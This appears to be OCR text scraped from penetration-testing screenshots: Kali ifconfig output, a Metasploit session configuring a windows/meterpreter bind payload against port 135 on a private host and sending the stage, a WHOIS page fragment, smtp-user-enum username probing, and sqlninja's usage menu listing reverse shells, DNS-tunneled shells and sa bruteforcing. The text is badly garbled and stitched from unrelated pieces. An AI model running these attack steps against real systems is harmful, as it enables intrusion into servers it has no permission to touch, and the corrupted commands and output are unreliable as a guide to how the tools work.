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M‘lﬂ ~# ifconfig
Link encep:Ethermet HWaddr 00:6¢:29:cf:18:e7
inet addr:192.168.121.128 Bcast:192.168.121.255 Mask:255.255.255.0
Anet6 addr: 1e80::20¢:2911:fecf:18e7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:70 errors:0 dropped:0 overruns:0 frase:0
TX packets:S54 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4963 (4.8 KiB) TX bytes:8868 (8.6 KiB)

lo Link encap:lLocal Loopback
inet addr:127.0.0.1 Mask:255.0.8.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:l
RX packets:16 errors:0 dropped:8 overruns:0 frome:0
TX packets:16 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:960 (960.0 B) TX bytes:960 (960.0 8)
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GIPLOAt (0] Hin diun) > sat m\.uo windows/aeterpreter/ding tp =
YLOAD =» windows/meterpreter/bing to

@rplodt o e > st u&t 192.168.1.101

- 192.168.1.1

@aplodt{mel | 8 Goum) > set LPORT 23524

o»\.u!(‘..“ » set RPORT 136
cn\.:gﬁr doun) > st AMOST 192.168.1.102
CIplolt [ md ) 0% deva) > esplodt

(*] Started bing randler

(%] Trylng target Windows NT SP3.6a/2000/1P/2003 Universal..

l'l Serding el Can
[*] Sending um (»707 bytes) to 192.168.1. m
I

erpreter > B

(%] BInding 1o 49974a8-791c-11c T -86)e 00200 14a)c57:0 M«n 1p_tep:i92.168.1.102(108) ..
(*] Bounad to doﬂﬂ-hlc 11cr-B610-002007607¢57:0.00cacn_! D TCp:192.168.1.102(136) ...
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WHOIS Lookup

Search domain name registration records

Enter Domain Name or IP Address

Examples: qq.com, google.co.in, bbc.couk, ebay.ca
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rootékali:~# smtp-user-enum -M VRFY -u root -t 192.168.1.25 w.
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

| Scan Information |
NOGR oo roas anase de .« WRFY

worker Processes ......... S

Target count ......cvennne 1

Username Count ........... 1 “*
Target TCP port .......... 2%
Query timeout ............ 3 secs
Target domain .......cc00us
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'Sqlninja rel. 0.2.6-rl
opyright (C) 2006-2011 icesurfer <rO0t@northernfortress.net>
Usage: /usr/bin/sqlninja

0 aode> : Required. Availadle modes are:
t/tost - tost whather the injection is working
f/fingarprint - fingerprint user, xp_cadshell and more
b/bruteforce - bruteforce sa account
o/escolation - 8dd user to sysadain server role
x/resurrectxp - try to recreate xp_cadshell
u/upload - upload & .scr file
s/dirshell - start a direct shell
k/backscan - lock for an open outbound port
r/revshell - start a reverse shell
d/dnstunnel - attempt & dns tunneled shell
1/74cmpshell - start & reverse ICMP shell
c/sqlemd - fssue a 'blind’' 0S commond
n/matasploit - wrapper to Metasploit stagers

-f «<file> : configuration file (default: sqlninja.conf)

‘P <password> @ sa password

‘w awordlist> : wordlist to use in bruteforce mode (dictionary method
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